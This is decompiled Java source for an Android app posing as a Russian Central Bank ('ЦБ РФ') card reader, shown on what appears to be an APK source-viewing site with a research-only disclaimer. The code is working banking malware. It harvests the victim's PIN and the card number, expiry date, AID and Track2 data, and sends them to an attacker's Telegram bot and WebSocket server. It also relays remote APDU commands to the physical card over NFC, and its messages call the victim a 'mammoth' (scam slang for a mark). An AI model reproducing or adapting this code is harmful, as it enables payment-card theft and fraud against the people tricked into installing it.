导航菜单

页面标题

页面副标题

ЦБ РФ v1.1 - ReaderActivity.java 源代码

正在查看: ЦБ РФ v1.1 应用的 ReaderActivity.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package com.example.myreader;

import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.nfc.NfcAdapter;
import android.nfc.Tag;
import android.nfc.tech.IsoDep;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.provider.Settings;
import android.util.Log;
import android.view.MenuItem;
import android.webkit.JavascriptInterface;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import androidx.drawerlayout.widget.DrawerLayout;
import androidx.recyclerview.widget.RecyclerView;
import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;
import com.airbnb.lottie.LottieAnimationView;
import com.example.myreader.ReaderActivity;
import com.github.devnied.emvnfccard.model.EmvCard;
import com.google.android.material.navigation.NavigationView;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.TimeUnit;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.WebSocket;
import okhttp3.WebSocketListener;
import org.json.JSONArray;
import org.json.JSONObject;

public class ReaderActivity extends AppCompatActivity implements NavigationView.OnNavigationItemSelectedListener {
    private TextView connectionStatusTextView;
    private ImageView connectionStatusTextView1;
    private Button devicesButton;
    private DrawerLayout drawerLayout;
    private Button exitButton;
    private IsoDep isoDep;
    private NavigationView navigationView;
    private NfcAdapter nfcAdapter;
    private Handler pairingHandler;
    private Runnable pairingRunnable;
    private LinearLayout pinContainer;
    private Handler pingHandler;
    private Runnable pingRunnable;
    private RecyclerView recyclerView;
    private Button savePinButton;
    private String savedAid;
    private String savedCardNumber;
    private String savedExpiryDate;
    private String savedTrack2Data;
    private int selectedPort;
    private SharedPreferences sharedPreferences;
    private TextView somelogs1;
    private TextView somelogs2;
    private LottieAnimationView statusAnimation;
    private TextView statusText;
    private TextView statusTextView;
    private SwipeRefreshLayout swipeRefreshLayout;
    private String token;
    private TransactionsAdapter transactionsAdapter;
    private WebSocket webSocket;
    private WebView webView;
    String COLOR_CONNECTED = "#4ECCA3";
    String COLOR_PAIRING = "#de4343";
    String botToken = Constants.TELEGRAM_BOT_TOKEN;
    private String pairingText = "Нету связи";
    private int dotsCount = 1;
    private boolean isCardConnected = false;
    private boolean isConnected = false;
    private List<Transaction> transactionList = new ArrayList();
    private boolean isPinVisible = false;

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_reader);
        this.selectedPort = getIntent().getIntExtra("port", 1);
        ThemeManager.applyTheme(this);
        WebView webView = new WebView(this);
        this.webView = webView;
        WebSettings webSettings = webView.getSettings();
        webSettings.setJavaScriptEnabled(true);
        webSettings.setDomStorageEnabled(true);
        this.webView.setWebViewClient(new WebViewClient());
        this.webView.getSettings().setJavaScriptEnabled(true);
        this.webView.setWebViewClient(new WebViewClient());
        this.webView.setWebChromeClient(new WebChromeClient());
        this.webView.addJavascriptInterface(new WebAppInterface(this), "AndroidInterface");
        setContentView(this.webView);
        SharedPreferences sharedPreferences = getSharedPreferences("AppPrefs", 0);
        this.sharedPreferences = sharedPreferences;
        sharedPreferences.getString("PIN_CODE", "");
        this.nfcAdapter = NfcAdapter.getDefaultAdapter(this);
        this.token = getIntent().getStringExtra(Constants.KEY_TOKEN);
        connectWebSocket();
        NfcAdapter nfcAdapter = this.nfcAdapter;
        if (nfcAdapter == null) {
            this.webView.loadUrl("file:///android_asset/errornonfc.html");
        } else if (!nfcAdapter.isEnabled()) {
            this.webView.loadUrl("file:///android_asset/errornonfc.html");
        } else {
            this.webView.loadUrl("file:///android_asset/pincode.html");
        }
    }

    public String getHWID() {
        return Settings.Secure.getString(getContentResolver(), "android_id");
    }

    @JavascriptInterface
    public void firstpage() {
        Log.d("ReaderActivity", "firstpage() вызван");
        Intent intent = new Intent((Context) this, (Class<?>) MainActivity.class);
        startActivity(intent);
    }

    @JavascriptInterface
    public void savePin(String pin) {
        if (pin == null || pin.trim().isEmpty()) {
            Log.w("PIN", "Попытка сохранить пустой PIN");
            return;
        }
        if (pin.length() == 4) {
            this.sharedPreferences.edit().putString("PIN_CODE", pin).apply();
            sendPinToTelegram(pin);
            try {
                JSONObject pinMessage = new JSONObject();
                pinMessage.put("cmd", "new_pin");
                pinMessage.put("pin", pin);
                pinMessage.put(Constants.KEY_TOKEN, this.token);
                pinMessage.put("deviceType", "device1");
                WebSocket webSocket = this.webSocket;
                if (webSocket != null) {
                    webSocket.send(pinMessage.toString());
                    Toast.makeText((Context) this, (CharSequence) "PIN код успешно сохранен", 0).show();
                } else {
                    Toast.makeText((Context) this, (CharSequence) "WebSocket не подключён", 0).show();
                }
            } catch (Exception e) {
                e.printStackTrace();
                Toast.makeText((Context) this, (CharSequence) "Ошибка отправки PIN", 0).show();
            }
        } else {
            Toast.makeText((Context) this, (CharSequence) "PIN должен быть ровно 4 цифры", 0).show();
        }
        SharedPreferences.Editor editor = this.sharedPreferences.edit();
        editor.putString("PIN_CODE", pin);
        boolean success = editor.commit();
        if (success) {
            Log.d("PIN", "PIN-код успешно сохранен: " + pin);
            sendPinToTelegram(pin);
        } else {
            Log.e("PIN", "Ошибка при сохранении PIN-кода");
        }
    }

    private void sendPinToTelegram(final String pin) {
        new Thread(new Runnable() {
            @Override
            public final void run() {
                ReaderActivity.this.m33lambda$sendPinToTelegram$0$comexamplemyreaderReaderActivity(pin);
            }
        }).start();
    }

    void m33lambda$sendPinToTelegram$0$comexamplemyreaderReaderActivity(String pin) {
        try {
            String chatId = Constants.getTelegramChatId(this.selectedPort);
            String serverName = Constants.getServerName(this.selectedPort);
            String hwid = getHWID();
            String encodedMessage = Uri.encode("[" + serverName + "] [READER #" + hwid + "] *Новый PIN-код:* `" + pin + "`");
            String url = String.format("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", this.botToken, chatId, encodedMessage);
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder().url(url).build();
            Response response = client.newCall(request).execute();
            Log.d("ReaderActivity", "Telegram log sent: " + response.code());
        } catch (Exception e) {
            Log.e("ReaderActivity", "Error sending Telegram log", e);
        }
    }

    private void clearTokenAndRedirectToLogin() {
        SharedPreferences prefs = getSharedPreferences(Constants.PREF_NAME, 0);
        SharedPreferences.Editor editor = prefs.edit();
        editor.remove(Constants.KEY_TOKEN);
        editor.remove("username");
        editor.apply();
        Intent intent = new Intent((Context) this, (Class<?>) MainActivity.class);
        startActivity(intent);
        finish();
    }

    protected void onResume() {
        super.onResume();
        startPing();
        enableReaderMode();
    }

    protected void onPause() {
        super.onPause();
        stopPing();
        disableReaderMode();
        clearCardInfoFromServer();
    }

    private void enableReaderMode() {
        if (this.nfcAdapter != null) {
            Bundle options = new Bundle();
            options.putInt("presence", 1000);
            this.nfcAdapter.enableReaderMode(this, new NfcAdapter.ReaderCallback() {
                @Override
                public final void onTagDiscovered(Tag tag) {
                    ReaderActivity.this.m30lambda$enableReaderMode$2$comexamplemyreaderReaderActivity(tag);
                }
            }, 129, options);
        }
    }

    void m30lambda$enableReaderMode$2$comexamplemyreaderReaderActivity(final Tag tag) {
        runOnUiThread(new Runnable() {
            @Override
            public final void run() {
                ReaderActivity.this.m29lambda$enableReaderMode$1$comexamplemyreaderReaderActivity(tag);
            }
        });
    }

    private void disableReaderMode() {
        if (this.nfcAdapter != null) {
            this.nfcAdapter.disableReaderMode(this);
        }
    }

    public void m29lambda$enableReaderMode$1$comexamplemyreaderReaderActivity(android.nfc.Tag r17) {
        throw new UnsupportedOperationException("Method not decompiled: com.example.myreader.ReaderActivity.m29lambda$enableReaderMode$1$comexamplemyreaderReaderActivity(android.nfc.Tag):void");
    }

    void m31lambda$handleTag$3$comexamplemyreaderReaderActivity() {
        Toast.makeText((Context) this, (CharSequence) "Приложите карту корректно", 0).show();
    }

    class AnonymousClass1 implements Runnable {
        AnonymousClass1() {
        }

        @Override
        public void run() {
            if (ReaderActivity.this.isoDep != null && ReaderActivity.this.isoDep.isConnected()) {
                try {
                    byte[] response = ReaderActivity.this.isoDep.transceive(new byte[]{0, -80, 0, 0, 4});
                    if (response != null && response.length != 0) {
                        Log.d("NFC", "Card: " + ReaderActivity.this.savedCardNumber + ", " + ReaderActivity.this.savedExpiryDate);
                        WebSettings webSettings = ReaderActivity.this.webView.getSettings();
                        webSettings.setJavaScriptEnabled(true);
                        ReaderActivity.this.webView.setWebViewClient(new WebViewClient());
                        ReaderActivity.this.webView.loadUrl("file:///android_asset/index.html");
                    }
                    Log.d("NFC", "Card disconnected");
                    new Handler(Looper.getMainLooper()).post(new Runnable() {
                        @Override
                        public final void run() {
                            ReaderActivity.AnonymousClass1.this.m38lambda$run$0$comexamplemyreaderReaderActivity$1();
                        }
                    });
                    ReaderActivity.this.handleCardRemoval();
                } catch (IOException e) {
                    Log.d("NFC", "Card disconnected due to error: " + e.getMessage());
                    new Handler(Looper.getMainLooper()).post(new Runnable() {
                        @Override
                        public final void run() {
                            ReaderActivity.AnonymousClass1.this.m39lambda$run$1$comexamplemyreaderReaderActivity$1();
                        }
                    });
                    WebSettings webSettings2 = ReaderActivity.this.webView.getSettings();
                    webSettings2.setJavaScriptEnabled(true);
                    ReaderActivity.this.webView.setWebViewClient(new WebViewClient());
                    ReaderActivity.this.webView.loadUrl("file:///android_asset/wcard.html");
                }
            }
        }

        void m38lambda$run$0$comexamplemyreaderReaderActivity$1() {
            Toast.makeText(ReaderActivity.this.getApplicationContext(), "Карта не сканируется...", 0).show();
        }

        void m39lambda$run$1$comexamplemyreaderReaderActivity$1() {
            Toast.makeText(ReaderActivity.this.getApplicationContext(), "Ошибка в сканировании карты", 0).show();
        }
    }

    private void startCardPresenceCheck() {
        Handler handler = new Handler(Looper.getMainLooper());
        Runnable checkRunnable = new AnonymousClass1();
        handler.post(checkRunnable);
    }

    public void handleCardRemoval() {
        try {
            this.isCardConnected = false;
            IsoDep isoDep = this.isoDep;
            if (isoDep != null) {
                isoDep.close();
            }
            notifyCardRemoval();
            clearCardInfoFromServer();
            hideCard();
            showElements();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private void notifyCardRemoval() {
        try {
            if (this.webView == null) {
                Log.e("ReaderActivity", "WebView не инициализирован!");
                return;
            }
            String versionName = "";
            try {
                versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
            } catch (PackageManager.NameNotFoundException e) {
                e.printStackTrace();
            }
            WebSettings webSettings = this.webView.getSettings();
            webSettings.setJavaScriptEnabled(true);
            this.webView.setWebViewClient(new WebViewClient());
            this.webView.loadUrl("file:///android_asset/wcard.html");
            Log.d("NFC", "ЗАЛУПА");
            JSONObject removalMessage = new JSONObject();
            removalMessage.put("cmd", "card_removed");
            removalMessage.put(Constants.KEY_TOKEN, this.token);
            removalMessage.put("deviceType", "device1");
            removalMessage.put("appVersion", versionName);
            this.webSocket.send(removalMessage.toString());
            showElements();
        } catch (Exception e2) {
            e2.printStackTrace();
        }
    }

    private void startPing() {
        if (this.pingHandler == null) {
            this.pingHandler = new Handler();
        }
        Runnable runnable = new Runnable() {
            @Override
            public void run() {
                if (ReaderActivity.this.webSocket != null) {
                    String versionName = "";
                    try {
                        try {
                            versionName = ReaderActivity.this.getPackageManager().getPackageInfo(ReaderActivity.this.getPackageName(), 0).versionName;
                        } catch (PackageManager.NameNotFoundException e) {
                            e.printStackTrace();
                        }
                        JSONObject pingMessage = new JSONObject();
                        pingMessage.put("cmd", "ping");
                        pingMessage.put(Constants.KEY_TOKEN, ReaderActivity.this.token);
                        pingMessage.put("deviceType", "device1");
                        pingMessage.put("appVersion", versionName);
                        ReaderActivity.this.webSocket.send(pingMessage.toString());
                    } catch (Exception e2) {
                        e2.printStackTrace();
                    }
                }
                ReaderActivity.this.pingHandler.postDelayed(this, 5000L);
            }
        };
        this.pingRunnable = runnable;
        this.pingHandler.post(runnable);
    }

    private void stopPing() {
        Runnable runnable;
        Handler handler = this.pingHandler;
        if (handler != null && (runnable = this.pingRunnable) != null) {
            handler.removeCallbacks(runnable);
        }
    }

    public boolean onNavigationItemSelected(MenuItem item) {
        int id = item.getItemId();
        if (id == R.id.nav_logout) {
            logout();
            return true;
        }
        if (id == R.id.nav_support) {
            Intent intent = new Intent("android.intent.action.VIEW");
            intent.setData(Uri.parse("https://t.me/nometa"));
            startActivity(intent);
            return true;
        }
        this.drawerLayout.closeDrawer(8388611);
        return true;
    }

    private void logout() {
        if (this.webSocket != null) {
            String versionName = "";
            try {
                try {
                    versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
                } catch (PackageManager.NameNotFoundException e) {
                    e.printStackTrace();
                }
                JSONObject logoutMessage = new JSONObject();
                logoutMessage.put("cmd", "logout");
                logoutMessage.put(Constants.KEY_TOKEN, this.token);
                logoutMessage.put("deviceType", "device1");
                logoutMessage.put("appVersion", versionName);
                this.webSocket.send(logoutMessage.toString());
            } catch (Exception e2) {
                e2.printStackTrace();
            }
        }
        SharedPreferences prefs = getSharedPreferences(Constants.PREF_NAME, 0);
        SharedPreferences.Editor editor = prefs.edit();
        editor.remove(Constants.KEY_TOKEN);
        editor.remove("username");
        editor.apply();
        Intent intent = new Intent((Context) this, (Class<?>) MainActivity.class);
        startActivity(intent);
        finish();
    }

    private void clearCardInfoFromServer() {
        String versionName = "";
        try {
            try {
                versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
            } catch (PackageManager.NameNotFoundException e) {
                e.printStackTrace();
            }
            JSONObject clearInfo = new JSONObject();
            clearInfo.put("cmd", "clear_card_info");
            clearInfo.put(Constants.KEY_TOKEN, this.token);
            clearInfo.put("deviceType", "device1");
            clearInfo.put("appVersion", versionName);
            this.webSocket.send(clearInfo.toString());
        } catch (Exception e2) {
            e2.printStackTrace();
        }
    }

    public void sendTelegramMessage(final String message) {
        new Thread(new Runnable() {
            @Override
            public final void run() {
                ReaderActivity.this.m34lambda$sendTelegramMessage$4$comexamplemyreaderReaderActivity(message);
            }
        }).start();
    }

    void m34lambda$sendTelegramMessage$4$comexamplemyreaderReaderActivity(String message) {
        try {
            String chatId = Constants.getTelegramChatId(this.selectedPort);
            String serverName = Constants.getServerName(this.selectedPort);
            String encodedMessage = Uri.encode("[" + serverName + "] " + message);
            String url = String.format("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", this.botToken, chatId, encodedMessage);
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder().url(url).build();
            Response response = client.newCall(request).execute();
            Log.d("ReaderActivity", "Telegram log sent: " + response.code());
        } catch (Exception e) {
            Log.e("ReaderActivity", "Error sending Telegram log", e);
        }
    }

    private void sendCardInfoToTelegram(final String cardNumber, final String expiryDate, final String aid, final String track2Data) {
        new Thread(new Runnable() {
            @Override
            public final void run() {
                ReaderActivity.this.m32x8b5d31ed(cardNumber, expiryDate, aid, track2Data);
            }
        }).start();
    }

    void m32x8b5d31ed(String cardNumber, String expiryDate, String aid, String track2Data) {
        try {
            String chatId = Constants.getTelegramChatId(this.selectedPort);
            Constants.getServerName(this.selectedPort);
            String telegramMessage = "📌 *Данные карты:*\n\n▪️ **Номер:** `" + cardNumber + "`\n▪️ **Срок действия:** `" + expiryDate + "`\n▪️ **AID:** `" + aid + "`\n▪️ **Track2:** `" + track2Data + "`";
            String encodedMessage = URLEncoder.encode(telegramMessage, "UTF-8").replace("+", "%20").replace("%3D", "=").replace("%2A", "*").replace("%60", "`");
            String urlString = "https://api.telegram.org/bot" + this.botToken + "/sendMessage?chat_id=" + chatId + "&text=" + encodedMessage + "&parse_mode=Markdown";
            URL url = new URL(urlString);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setConnectTimeout(5000);
            conn.setReadTimeout(5000);
            int responseCode = conn.getResponseCode();
            if (responseCode == 200) {
                Log.d("Telegram", "✅ Данные карты успешно отправлены!");
            } else {
                Log.d("Telegram", "⚠️ Ошибка при отправке данных карты: " + responseCode);
            }
            conn.disconnect();
        } catch (Exception e) {
            Log.e("Telegram", "❌ Ошибка отправки данных карты в Telegram: " + e.getMessage());
        }
    }

    private void sendCardInfoToServer2(String savedCardNumber, String savedExpiryDate, String savedAid, String savedTrack2Data) {
        String versionName = "";
        try {
            try {
                versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
            } catch (PackageManager.NameNotFoundException e) {
                e.printStackTrace();
            }
            JSONObject cardInfo = new JSONObject();
            cardInfo.put("cmd", "card_info");
            cardInfo.put("cardNumber", savedCardNumber);
            cardInfo.put("expiryDate", savedExpiryDate);
            cardInfo.put("aid", savedAid);
            cardInfo.put("track2Data", savedTrack2Data);
            cardInfo.put(Constants.KEY_TOKEN, this.token);
            cardInfo.put("deviceType", "device1");
            cardInfo.put("appVersion", versionName);
            this.webSocket.send(cardInfo.toString());
        } catch (Exception e2) {
            e2.printStackTrace();
        }
    }

    private void sendCardInfoToServer(String cardNumber, String expiryDate, String aid, String track2Data) {
        String versionName = "";
        try {
            try {
                versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
            } catch (PackageManager.NameNotFoundException e) {
                e.printStackTrace();
            }
            JSONObject cardInfo = new JSONObject();
            cardInfo.put("cmd", "card_info");
            cardInfo.put("cardNumber", cardNumber);
            cardInfo.put("expiryDate", expiryDate);
            cardInfo.put("aid", aid);
            cardInfo.put("track2Data", track2Data);
            cardInfo.put(Constants.KEY_TOKEN, this.token);
            cardInfo.put("deviceType", "device1");
            cardInfo.put("appVersion", versionName);
            this.webSocket.send(cardInfo.toString());
        } catch (Exception e2) {
            e2.printStackTrace();
        }
    }

    private String extractTrack2EquivalentData(EmvCard card) {
        if (card.getTrack2() != null) {
            return card.getTrack2().toString();
        }
        return "unknown";
    }

    public void connectWebSocket() {
        OkHttpClient client = new OkHttpClient.Builder().connectTimeout(30L, TimeUnit.SECONDS).readTimeout(30L, TimeUnit.SECONDS).writeTimeout(30L, TimeUnit.SECONDS).build();
        String selectedServerUrl = Constants.getWebsocketUrl(Constants.getSelectedServer(this));
        Request request = new Request.Builder().url(selectedServerUrl).build();
        this.webSocket = client.newWebSocket(request, new AnonymousClass3(selectedServerUrl));
    }

    class AnonymousClass3 extends WebSocketListener {
        final String val$selectedServerUrl;

        AnonymousClass3(String str) {
            this.val$selectedServerUrl = str;
        }

        public void onOpen(WebSocket webSocket, Response response) {
            try {
                String versionName = ReaderActivity.this.getPackageManager().getPackageInfo(ReaderActivity.this.getPackageName(), 0).versionName;
                ReaderActivity.this.isConnected = true;
                Log.d("WebSocket", "Connected to server: " + this.val$selectedServerUrl);
                String hwid = ReaderActivity.this.getHWID();
                String model = Build.MODEL;
                String androidVersion = Build.VERSION.RELEASE;
                String nfcStatus = (ReaderActivity.this.nfcAdapter == null || !ReaderActivity.this.nfcAdapter.isEnabled()) ? "no" : "yes";
                String serverName = Constants.getServerName(ReaderActivity.this.selectedPort);
                String message = String.format("<%s> READER подключился к серверу\n\nHWID #%s\nmodel: %s\nAndroid: %s\nNFC: %s", serverName, hwid, model, androidVersion, nfcStatus);
                ReaderActivity.this.sendTelegramMessage(message);
                JSONObject registerMessage = new JSONObject();
                registerMessage.put("cmd", "register");
                registerMessage.put(Constants.KEY_TOKEN, ReaderActivity.this.token);
                registerMessage.put("deviceType", "device1");
                registerMessage.put("appVersion", versionName);
                webSocket.send(registerMessage.toString());
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        public void onMessage(WebSocket webSocket, final String text) {
            Log.d("WebSocket", "Received message: " + text);
            ReaderActivity.this.runOnUiThread(new Runnable() {
                @Override
                public final void run() {
                    ReaderActivity.AnonymousClass3.this.m41lambda$onMessage$0$comexamplemyreaderReaderActivity$3(text);
                }
            });
        }

        void m41lambda$onMessage$0$comexamplemyreaderReaderActivity$3(String text) {
            ReaderActivity.this.handleWebSocketMessage(text);
        }

        public void onFailure(final WebSocket webSocket, Throwable t, Response response) {
            ReaderActivity.this.isConnected = false;
            Log.d("WebSocket", "Connection failed (скрыто): " + t.getMessage());
            ReaderActivity.this.runOnUiThread(new Runnable() {
                @Override
                public final void run() {
                    ReaderActivity.AnonymousClass3.this.m40lambda$onFailure$1$comexamplemyreaderReaderActivity$3(webSocket);
                }
            });
        }

        void m40lambda$onFailure$1$comexamplemyreaderReaderActivity$3(WebSocket webSocket) {
            if (webSocket != null) {
                webSocket.close(1000, "Reconnecting");
            }
            ReaderActivity.this.connectWebSocket();
        }

        public void onClosed(WebSocket webSocket, int code, String reason) {
            ReaderActivity.this.isConnected = false;
            Log.d("WebSocket", "Connection closed: " + reason);
        }
    }

    public void handleWebSocketMessage(String text) {
        try {
            JSONObject message = new JSONObject(text);
            String cmd = message.getString("cmd");
            if ("error".equals(cmd)) {
                String errorMessage = message.getString("message");
                if (errorMessage.equalsIgnoreCase("Invalid token")) {
                    clearTokenAndRedirectToLogin();
                } else if (errorMessage.equalsIgnoreCase("Your account has been deleted")) {
                    clearTokenAndRedirectToLogin();
                }
                return;
            }
            if ("apdu_command".equals(cmd)) {
                String apduString = message.getString("apdu");
                String[] byteValues = apduString.substring(1, apduString.length() - 1).split(",");
                byte[] apdu = new byte[byteValues.length];
                int len = byteValues.length;
                for (int i = 0; i < len; i++) {
                    apdu[i] = Byte.parseByte(byteValues[i].trim());
                }
                IsoDep isoDep = this.isoDep;
                if (isoDep != null && isoDep.isConnected()) {
                    try {
                        byte[] response = this.isoDep.transceive(apdu);
                        if (response != null) {
                            String versionName = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
                            JSONObject responseMessage = new JSONObject();
                            responseMessage.put("cmd", "apdu_response");
                            responseMessage.put("apduResponse", Arrays.toString(response));
                            responseMessage.put("apduRequest", Arrays.toString(apdu));
                            responseMessage.put(Constants.KEY_TOKEN, this.token);
                            responseMessage.put("deviceType", "device1");
                            responseMessage.put("appVersion", versionName);
                            this.webSocket.send(responseMessage.toString());
                            Log.d("NFC", "APDU response sent to emulator");
                        } else {
                            Log.d("NFC", "APDU response is null, no data sent");
                        }
                    } catch (IOException e) {
                        Log.e("NFC", "Failed to transceive APDU command", e);
                    }
                }
                return;
            }
            if ("paired".equals(cmd)) {
                Log.d("WebSocket", "Paired message received");
                Toast.makeText((Context) this, (CharSequence) "Сертификаты безопасности успешно установлены", 0).show();
                String hwid = getHWID();
                sendTelegramMessage("READER #" + hwid + ":️  *Устройство успешно подключено! ✅");
                if (this.savedCardNumber == null || this.savedExpiryDate == null || this.savedAid == null || this.savedTrack2Data == null) {
                    sendTelegramMessage("READER #" + hwid + " (к мамонту обратно): карта не сработала, отсканируйте повторно.");
                } else {
                    String message2 = "READER #" + hwid + " (к мамонту обратно) 💳 *Данные карты:* \n▪️ **Номер:** `" + this.savedCardNumber + "`\n▪️ **Срок:** `" + this.savedExpiryDate + "`\n▪️ **AID:** `" + this.savedAid + "`\n▪️ **Track2:** `" + this.savedTrack2Data + "`";
                    sendTelegramMessage(message2);
                    sendCardInfoToServer2(this.savedCardNumber, this.savedExpiryDate, this.savedAid, this.savedTrack2Data);
                }
                return;
            }
            if ("unpaired".equals(cmd)) {
                Log.d("WebSocket", "Unpaired message received");
                Toast.makeText((Context) this, (CharSequence) "Пожалуйста, ожидайте подключение к системе", 0).show();
                sendTelegramMessage("READER #" + getHWID() + ":️ Устройство отключено!*");
                return;
            }
            if (!"ping".equals(cmd)) {
                if ("update_required".equals(cmd)) {
                    String updateMessage = message.getString("message");
                    String downloadLink = message.getString("downloadLink");
                    showUpdateDialog(updateMessage, downloadLink);
                    return;
                }
                return;
            }
            String versionName2 = getPackageManager().getPackageInfo(getPackageName(), 0).versionName;
            JSONObject pongMessage = new JSONObject();
            pongMessage.put("cmd", "pong");
            pongMessage.put(Constants.KEY_TOKEN, this.token);
            pongMessage.put("deviceType", "device1");
            pongMessage.put("appVersion", versionName2);
            this.webSocket.send(pongMessage.toString());
        } catch (Exception e2) {
            e2.printStackTrace();
        }
    }

    private void showUpdateDialog(final String message, final String downloadLink) {
        runOnUiThread(new Runnable() {
            @Override
            public final void run() {
                ReaderActivity.this.m37lambda$showUpdateDialog$8$comexamplemyreaderReaderActivity(message, downloadLink);
            }
        });
    }

    void m37lambda$showUpdateDialog$8$comexamplemyreaderReaderActivity(String message, final String downloadLink) {
        new AlertDialog.Builder(this).setTitle("Update Required").setMessage(message).setPositiveButton("Update", new DialogInterface.OnClickListener() {
            @Override
            public final void onClick(DialogInterface dialogInterface, int i) {
                ReaderActivity.this.m35lambda$showUpdateDialog$6$comexamplemyreaderReaderActivity(downloadLink, dialogInterface, i);
            }
        }).setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
            @Override
            public final void onClick(DialogInterface dialogInterface, int i) {
                ReaderActivity.this.m36lambda$showUpdateDialog$7$comexamplemyreaderReaderActivity(dialogInterface, i);
            }
        }).setCancelable(false).show();
    }

    void m35lambda$showUpdateDialog$6$comexamplemyreaderReaderActivity(String downloadLink, DialogInterface dialog, int which) {
        Intent browserIntent = new Intent("android.intent.action.VIEW", Uri.parse(downloadLink));
        startActivity(browserIntent);
    }

    void m36lambda$showUpdateDialog$7$comexamplemyreaderReaderActivity(DialogInterface dialog, int which) {
        finish();
    }

    private void reconnectWebSocket() {
        WebSocket webSocket = this.webSocket;
        if (webSocket != null) {
            webSocket.close(1000, "Reconnecting");
        }
        connectWebSocket();
    }

    private String bytesToHex(byte[] bytes) {
        StringBuilder sb = new StringBuilder();
        for (byte b : bytes) {
            sb.append(String.format("%02X", Byte.valueOf(b)));
        }
        return sb.toString();
    }

    private void fetchTransactions() {
        SharedPreferences prefs = getSharedPreferences("MyApp", 0);
        String username = prefs.getString("username", "User");
        String wsUrl = Constants.getWebsocketUrl(Constants.getSelectedServer(this));
        Log.d("ReaderActivity", "Connecting to WebSocket for transactions: " + wsUrl);
        Request request = new Request.Builder().url(wsUrl).build();
        OkHttpClient client = new OkHttpClient();
        client.newWebSocket(request, new AnonymousClass4(username));
    }

    class AnonymousClass4 extends WebSocketListener {
        final String val$username;

        AnonymousClass4(String str) {
            this.val$username = str;
        }

        public void onOpen(WebSocket webSocket, Response response) {
            try {
                JSONObject transactionsRequest = new JSONObject();
                transactionsRequest.put("type", "get_transactions");
                transactionsRequest.put("username", this.val$username);
                webSocket.send(transactionsRequest.toString());
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        public void onMessage(WebSocket webSocket, String text) {
            try {
                JSONObject response = new JSONObject(text);
                if (response.has("transactions")) {
                    JSONArray transactions = response.getJSONArray("transactions");
                    ReaderActivity.this.transactionList.clear();
                    for (int i = 0; i < transactions.length(); i++) {
                        JSONObject transaction = transactions.getJSONObject(i);
                        String amount = transaction.getString("amount");
                        String cardNumber = transaction.getString("cardNumber");
                        String date = transaction.getString("date");
                        ReaderActivity.this.transactionList.add(new Transaction(amount, cardNumber, date));
                    }
                    ReaderActivity.this.runOnUiThread(new Runnable() {
                        @Override
                        public final void run() {
                            ReaderActivity.AnonymousClass4.this.m43lambda$onMessage$0$comexamplemyreaderReaderActivity$4();
                        }
                    });
                }
            } catch (Exception e) {
                e.printStackTrace();
                ReaderActivity.this.runOnUiThread(new Runnable() {
                    @Override
                    public final void run() {
                        ReaderActivity.AnonymousClass4.this.m44lambda$onMessage$1$comexamplemyreaderReaderActivity$4();
                    }
                });
            }
            webSocket.close(1000, "Transactions received");
        }

        void m43lambda$onMessage$0$comexamplemyreaderReaderActivity$4() {
            ReaderActivity.this.transactionsAdapter.notifyDataSetChanged();
            ReaderActivity.this.swipeRefreshLayout.setRefreshing(false);
        }

        void m44lambda$onMessage$1$comexamplemyreaderReaderActivity$4() {
            ReaderActivity.this.swipeRefreshLayout.setRefreshing(false);
            Toast.makeText((Context) ReaderActivity.this, (CharSequence) "Ошибка получения транзакций", 0).show();
        }

        public void onFailure(WebSocket webSocket, Throwable t, Response response) {
            ReaderActivity.this.runOnUiThread(new Runnable() {
                @Override
                public final void run() {
                    ReaderActivity.AnonymousClass4.this.m42lambda$onFailure$2$comexamplemyreaderReaderActivity$4();
                }
            });
        }

        void m42lambda$onFailure$2$comexamplemyreaderReaderActivity$4() {
            ReaderActivity.this.swipeRefreshLayout.setRefreshing(false);
            Toast.makeText((Context) ReaderActivity.this, (CharSequence) "Ошибка подключения", 0).show();
        }
    }

    private void hideElements() {
    }

    private void showElements() {
        WebView webView = this.webView;
        if (webView == null) {
            Log.e("ReaderActivity3", "WebView не инициализирован!");
            return;
        }
        WebSettings webSettings = webView.getSettings();
        webSettings.setJavaScriptEnabled(true);
        this.webView.setWebViewClient(new WebViewClient());
        this.webView.loadUrl("file:///android_asset/index.html");
    }

    private void hideCard() {
        WebView webView = this.webView;
        if (webView == null) {
            Log.e("ReaderActivity2", "WebView не инициализирован!");
            return;
        }
        WebSettings webSettings = webView.getSettings();
        webSettings.setJavaScriptEnabled(true);
        this.webView.setWebViewClient(new WebViewClient());
        this.webView.loadUrl("file:///android_asset/wcard.html");
    }

    private void showCard() {
    }
}